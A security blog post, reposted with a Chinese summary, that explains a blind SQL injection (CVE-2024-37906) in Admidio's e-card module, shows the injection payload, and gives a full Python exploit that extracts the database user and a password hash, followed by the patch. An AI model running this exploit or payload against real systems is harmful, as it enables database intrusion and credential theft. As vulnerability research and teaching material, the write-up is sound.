The return to blogging and a blind SQL injection
文章描述了一位研究人员发现并利用Admidio中的时间盲SQL注入漏洞(CVE-2024-37906),通过构造特定payload触发攻击,并编写Python脚本自动化过程以提取数据库信息。该漏洞因未对用户输入进行过滤而引发,修复方法是将输入数据转换为整数。 2026-1-5 13:22:53 Author: infosecwriteups.com(查看原文) 阅读量:8 收藏

Echo_Slow

This post will cover what I’ve been up to, while also covering a time-based SQL injection inside Admidio tracked as CVE-2024–37906.

Press enter or click to view image in full size

My absence

It’s been almost two years since my last blog post covering the Kerberos protocol. Since then, I have been busy with my first job, getting my OSCP, finding my first two CVEs and a bunch of other IRL things. Safe to say, that left me with little time to write blogs that are technical and well researched. This year I aim to change that, inspired by this PentesterLab blog post, by covering each month a CVE with root cause analysis, research, patches, and exploit code — this also helps me develop skills which were planted with the CWEE I obtained recently ;) .

Don’t be fooled, I won’t be covering only CVEs, in between CVE deep dives, I will cover the promised Kerberos attacks in detail and maldev content, so stay tuned.

Finding the vulnerability

I wanted to get better at manually writing a script to exploit time-based SQL vulnerabilities. To do that, I had to first find such a vulnerability; luckily others have already done the hard stuff, so I just browsed cve.org to find fitting vulnerabilities.

One of those vulnerabilities was CVE-2024–37906, a blind SQL injection inside Admidio. Admidio is an open-source user management application, available on GitHub.

For the purposes of this blog post, and to sharpen my skills, I limited myself to just using the vulnerability description provided by the CVE record:

Admidio is a free, open source user management system for websites of organizations and groups. In Admidio before version 4.3.9, there is an SQL Injection in the `/adm_program/modules/ecards/ecard_send.php` source file of the Admidio Application. The SQL Injection results in a compromise of the application’s database. The value of `ecard_recipients` POST parameter is being directly concatenated with the SQL query in the source code causing the SQL Injection. The SQL Injection can be exploited by a member user, using blind condition-based, time-based, and Out of band interaction SQL Injection payloads. This vulnerability is fixed in 4.3.9.

Luckily for me, the description highlighted the vulnerable parameter and the file where it was located in.

Opening the file in a text editor showed that the ‘ecard_recipients’ was taken from a post parameter and no filtering was performed on it:

foreach ($_POST['ecard_recipients'] as $value) { // [1]
if (str_contains($value, 'groupID')) { // [2]
$roleId = (int) substr($value, 9);
if ($gCurrentUser->hasRightSendMailToRole($roleId)) {
$arrayRoles[] = $roleId;
}
} else {
$arrayUsers[] = $value; // [3]
}
}

The highlighted lines perform the following actions in order:

1 — Takes each value from the POST parameter “ecard_recipients” and performs no variable sanitization.

2 — Looks for the “groupID” value, which is set if the message is being sent to a group, but more importantly casts the result of substr to an integer before assigning the value to the array “arrayRoles[]”.

3 — This code part is hit if the message is sent to a user rather than a group, and the value obtained from the POST request is simply assigned to the array “arrayUsers[]”.

I understood the theory of the request, but I also wanted to see how these requests looked in Burp Suite:

Press enter or click to view image in full size

Intended request for multiple groups and user.

The POST parameters are URL encoded, so I took the liberty to decode them and show how they look, depending on if we are sending the message to multiple groups and a single user:

ecard_recipients[]=groupID: 1&ecard_recipients[]=groupID: 3&ecard_recipients[]=groupID: 2&ecard_recipients[]=2

Just groups:

ecard_recipients[]=groupID: 1&ecard_recipients[]=groupID: 3&ecard_recipients[]=groupID: 2

And just a user:

ecard_recipients[]=2

From the code snippet, the array “arrayUsers[]” contains the unsanitized value obtained from the POST request, which in this case above would be the string “2”.

A few lines below the previous code snippet, the following code snippet appears:

if (count($arrayUsers) > 0) { // [1]
$sql = 'SELECT DISTINCT first_name.usd_value AS first_name, last_name.usd_value AS last_name, email.usd_value AS email
FROM '.TBL_USERS.'
INNER JOIN ' . TBL_USER_DATA . ' AS email
ON email.usd_usr_id = usr_id
AND LENGTH(email.usd_value) > 0
INNER JOIN ' . TBL_USER_FIELDS . ' AS field
ON field.usf_id = email.usd_usf_id
AND field.usf_type = \'EMAIL\'
' . $sqlEmailField . '
INNER JOIN '.TBL_USER_DATA.' AS last_name
ON last_name.usd_usr_id = usr_id
AND last_name.usd_usf_id = ? -- $gProfileFields->getProperty(\'LAST_NAME\', \'usf_id\')
INNER JOIN '.TBL_USER_DATA.' AS first_name
ON first_name.usd_usr_id = usr_id
AND first_name.usd_usf_id = ? -- $gProfileFields->getProperty(\'FIRST_NAME\', \'usf_id\')
WHERE usr_id IN ('.implode(',', $arrayUsers).')
AND usr_valid = true
ORDER BY last_name, first_name'; // [2]
$queryParams = array(
$gProfileFields->getProperty('LAST_NAME', 'usf_id'),
$gProfileFields->getProperty('FIRST_NAME', 'usf_id')
);
$usersStatement = $gDb->queryPrepared($sql, $queryParams);

while ($row = $usersStatement->fetch()) { // [3]
.
.
.
<snip>

As with the previous snippet:

1 — The IF statement takes the values from our array “arrayUsers[]” and if the number of entries is more than 0 it proceeds with building the SQL query.

2 — This SQL query takes in the array “arrayUsers[]” and using implode the array is transformed into a string that can be inserted into the SQL query

3 — The final line of the code executes the prepared SQL query.

The implode function could break the SQL injection, as it uses the delimiter passed to it to concatenate the array entries. However, if inside the POST request we send only one user, the array will contain only one entry, making the implode function irrelevant.

Example showing that implode does not break the SQL syntax

Also, an important note is that the query doesn’t return any data to the user making it a blind SQL injection, which was also highlighted by the CVE description.

Get Echo_Slow’s stories in your inbox

Join Medium for free to get updates from this writer.

Following the code analysis, I had everything required to create an initial PoC. I sent a simple sleep payload that would force the application to wait for 5 seconds before returning a response:

Press enter or click to view image in full size

Request resulting in a response of ~5 seconds

The keen-eyed of you would have seen that I used the following payload:

2) OR (SELECT SLEEP(5))-- -

The reason I used that payload is the way that the array is incorporated into the query:

'WHERE usr_id           IN ('.implode(',', $arrayUsers).')

Using my payload, the query becomes:

WHERE usr_id           IN (2) OR (SELECT SLEEP(5)-- -)

Making the query look for a person with user ID 2 or sleep for 5 seconds. This payload is agnostic of if a user exists with the ID of 2 since the OR operator in SQL evaluates both conditions:

Press enter or click to view image in full size

Example of the OR operator from https://www.programiz.com/sql/and-or-not

The final part of the original SQL query is commented out due to the “— -” used within my payload.

Creating the exploit script

Having forced the application to execute arbitrary SQL code, it was time to create a script that would exploit the vulnerability automatically.

This is a good point to mention that the exploit requires a low privileged account, so before I could write the exploit logic, I first had to write the login functionality and session management.

"""Exploitation script for CVE-2024-37906."""

import sys
import requests

def login_func(url: str, username: str, password: str) -> dict | None:
"""Performs login request and returns session cookies or None on failure.

Args:
url: Base URL of Admidio installation.
username: Username to use for login request.
password: Password to use for login request.

Returns:
Session cookies on success, None on failure.
"""
data = {
"plg_usr_login_name": username,
"plg_usr_password": password,
}
session_cookie = "ADMIDIO_admidio_adm_SESSION_ID"

try:
response = requests.post(
f"{url}/adm_program/system/login.php?mode=check",
data=data,
timeout=5,
)
response.raise_for_status()

cookies = response.cookies.get_dict()
if session_cookie not in cookies:
print("No session cookie received!")
return None

return cookies

except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return None

if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python3 CVE-2024-37906.py BASE_URL USERNAME PASSWORD")
print("Example: python3 CVE-2024-37906.py http://localhost/admidio-4.3.8 admin Password123")
sys.exit(1)

result = login_func(sys.argv[1], sys.argv[2], sys.argv[3])
print(result)

The code above implements the basic login functionality. It sends a request with the username and password, which are passed through the CLI, to the login endpoint. The function returns the session cookie for the user, which can be used for further requests.

I had to still implement a way to fetch the CSRF token, as the malicious request couldn’t be sent without a CSRF token. For that, I used the previous session cookie to send a GET request to the homepage and extract the CSRF token hidden inside the body of the response:

"""Exploitation script for CVE-2024-37906."""

import sys
import requests
from bs4 import BeautifulSoup

def login_func(url: str, username: str, password: str) -> dict | None:
"""Performs login request and returns session cookies or None on failure.

Args:
url: Base URL of Admidio installation.
username: Username to use for login request.
password: Password to use for login request.

Returns:
Dictionary on success, None on failure.
"""
data = {
"plg_usr_login_name": username,
"plg_usr_password": password,
}
session_cookie = "ADMIDIO_admidio_adm_SESSION_ID"

try:
response = requests.post(
f"{url}/adm_program/system/login.php?mode=check",
data=data,
timeout=5,
)
response.raise_for_status()

cookies = response.cookies.get_dict()
if session_cookie not in cookies:
print("No session cookie received!")
return None

return cookies

except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return None

def get_csrf(url: str, cookie: dict) -> str | None:
"""Performs a GET request and returns the CSRF token as a string or None on failure.

Args:
url: Base URL of Admidio installation.
cookie: Session cookie obtained from the login_func.

Returns:
String on success, None on failure.
"""
csrf_token_name = "admidio-csrf-token"

try:
response = requests.get(
f"{url}/adm_program/overview.php",
cookies=cookie,
timeout=5
)
response.raise_for_status()

soup = BeautifulSoup(response.text, "html.parser")
csrf_token = soup.select_one(f"input[name='{csrf_token_name}']")["value"]
if csrf_token is None:
print("No CSRF token received")
return None

return csrf_token

except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return None

if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python3 CVE-2024-37906.py BASE_URL USERNAME PASSWORD")
print(
"Example: python3 CVE-2024-37906.py http://localhost/admidio-4.3.8 admin Password123"
)
sys.exit(1)

cookie = login_func(sys.argv[1], sys.argv[2], sys.argv[3])

if cookie is None:
# Exit if no cookie was obtained
sys.exit(1)

csrf_token = get_csrf(sys.argv[1], cookie)

if csrf_token is None:
# Exit if no CSRF token was obtained
sys.exit(1)

print(csrf_token)

Now that I look back at it, it might have been better to use session objects. You can learn more about them here.

After the login functionality, I moved on to create the oracle. The idea of an oracle is to return either true or false depending on if a condition is met. In this case, the oracle should return true if the SQL statement passed to it returned true and false otherwise.

But how can we know if the SQL statement was successful? Well, we use the sleep function to sleep for X amount of seconds in case of a true statement, and our oracle uses the delay in the response to return true. If there is no delay, it means that the SQL statement was unsuccessful and the oracle should return false.

Now that I covered the theory, only the hard part was left and that was to actually implement the code:

"""Exploitation script for CVE-2024-37906."""

import sys
import requests
from bs4 import BeautifulSoup
import time
import uuid

# The time used to test an SQL query, reduce the number for faster execution.
DELAY = 1

def login_func(url: str, username: str, password: str) -> dict | None:
"""Performs login request and returns session cookies or None on failure.

Args:
url: Base URL of Admidio installation.
username: Username to use for login request.
password: Password to use for login request.

Returns:
Dictionary on success, None on failure.
"""
data = {
"plg_usr_login_name": username,
"plg_usr_password": password,
}
session_cookie = "ADMIDIO_admidio_adm_SESSION_ID"

try:
response = requests.post(
f"{url}/adm_program/system/login.php?mode=check",
data=data,
timeout=5,
)
response.raise_for_status()

cookies = response.cookies.get_dict()
if session_cookie not in cookies:
print("No session cookie received!")
return None

return cookies

except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return None

def get_csrf(url: str, cookie: dict) -> str | None:
"""Performs a GET request and returns the CSRF token as a string or None on failure.

Args:
url: Base URL of Admidio installation.
cookie: Session cookie obtained from the login_func.

Returns:
String on success, None on failure.
"""
csrf_token_name = "admidio-csrf-token"

try:
response = requests.get(
f"{url}/adm_program/overview.php",
cookies=cookie,
timeout=5,
)
response.raise_for_status()

soup = BeautifulSoup(response.text, "html.parser")
csrf_token = soup.select_one(f"input[name='{csrf_token_name}']")["value"]
if csrf_token is None:
print("No CSRF token received")
return None

return csrf_token

except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return None

# Skeleton of the oracle function taken from the HTB Academy Module Blind SQL Injection
def oracle(url: str, query: str, cookie: dict, csrf_token: str) -> bool | None:
"""Serves as an oracle that evaluates expressions returning the evaluation on success or None on failure.

Args:
url: Base URL of Admidio installation.
query: SQL query that will be evaluated.
cookie: Cookie for the session previously obtained.
csrf_token: CSRF token previously obtained.

Returns:
Boolean on success, None on failure.
"""
data = {
"admidio-csrf-token": csrf_token,
"submit-action": "",
"photo_uuid": uuid.uuid4(),
"photo_nr": 1,
"ecard_template": "postcard.tpl",
"ecard_recipients[]": f"31337) OR (SELECT IF({query}, SLEEP({DELAY}), 'Dummy'))-- -",
"ecard_message": "Kind regards...",
}

try:
start = time.time()
requests.post(
f"{url}/adm_program/modules/ecards/ecard_send.php",
cookies=cookie,
data=data,
timeout=5,
)

return time.time() - start > DELAY

except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
return None

# Function taken from the HTB Academy Module Blind SQL Injection
def get_length(url: str, query: str, cookie: dict, csrf_token: str) -> int:
"""Gets the length of the response to the SQL query, returns the length on succes and 0 on failure.

Args:
url: Base URL of Admidio installation.
query: SQL query that will be evaluated.
cookie: Cookie for the session previously obtained.
csrf_token: CSRF token previously obtained.

Returns:
Integer on success and failure
"""
length = 0
for p in range(7):
if oracle(url, f"({query})&{2**p}>0", cookie, csrf_token):
length |= 2**p
return length

# Function taken from the HTB Academy Module Blind SQL Injection
def get_string(url: str, query: str, cookie: dict, csrf_token: str, length: int) -> str:
"""Retrieves the result of the SQL query, returns a string.

Args:
url: Base URL of Admidio installation.
query: SQL query that will be evaluated.
cookie: Cookie for the session previously obtained.
csrf_token: CSRF token previously obtained.
length: The length of the response

Returns:
String on success and failure
"""
val = ""
for i in range(1, length + 1):
c = 0
for p in range(7):
if oracle(
url, f"ASCII(SUBSTRING(({query}),{i},1))&{2**p}>0", cookie, csrf_token
):
c |= 2**p
val += chr(c)
return val

if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python3 CVE-2024-37906.py BASE_URL USERNAME PASSWORD")
print("Example: python3 CVE-2024-37906.py http://localhost/admidio-4.3.8 admin Password123")
sys.exit(1)

cookie = login_func(sys.argv[1], sys.argv[2], sys.argv[3])

if cookie is None:
# Exit if no cookie was obtained
sys.exit(1)

csrf_token = get_csrf(sys.argv[1], cookie)

if csrf_token is None:
# Exit if no CSRF token was obtained
sys.exit(1)

db_user_length = get_length(sys.argv[1], "LENGTH(USER())", cookie, csrf_token)

db_user = get_string(sys.argv[1], "USER()", cookie, csrf_token, db_user_length)
print(f"The current user: {db_user}")

password_length = get_length(
sys.argv[1],
"SELECT LENGTH(usr_password) from adm_users where usr_id=2",
cookie,
csrf_token,
)

password_hash = get_string(
sys.argv[1],
"SELECT usr_password from adm_users where usr_id=2",
cookie,
csrf_token,
password_length,
)
print(f"The password hash for the user with ID 2: {password_hash}")

Luckily for me, I didn’t need to make another request to obtain a valid ID for the “photo_uuid” variable, as any UUID supplied to it would allow for the vulnerability to still trigger.

In addition to the oracle function, I used the 2 functions get_length and get_string covered in one of the HTB CWEE modules to evaluate any query passed to them and return the length or result of the query. With that I only had to run the script one final time to verify that it works and lo and behold:

Press enter or click to view image in full size

Script returns the current user and the password hash for the admin user

And the script only took ~600 seconds to execute 💀.

I’ll leave it as an exercise for the reader to improve the speed of this script.

The patch

As the last part of this blog post, I’ll cover the patch used in version 4.3.9 and beyond to prevent the vulnerability.

While it may seem distant, the original vulnerability appeared due to the saving of user input into the array “arrayUsers[]”, which was then used inside a SQL query.

While the general advice is to use prepared statements when inserting user controlled data into a SQL query, the patch used a different way. Looking back at the code, the “arrayUsers[]” variable should only contain numbers, so the different way of preventing the vulnerability is to cast user data to an integer:

Casting to an integer removes any string inside the variable

The patch can be found here.

Conclusion and references

Hope you at least enjoyed the blog half as much as I enjoyed writing the exploit for the vulnerability. Stay tuned for more blog posts in the future, and give me a follow. If you have any questions, you can leave them in the comments, and I’ll get back to you ASAP.

References:


文章来源: https://infosecwriteups.com/the-return-to-blogging-and-a-blind-sql-injection-2bee0a7fa779?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh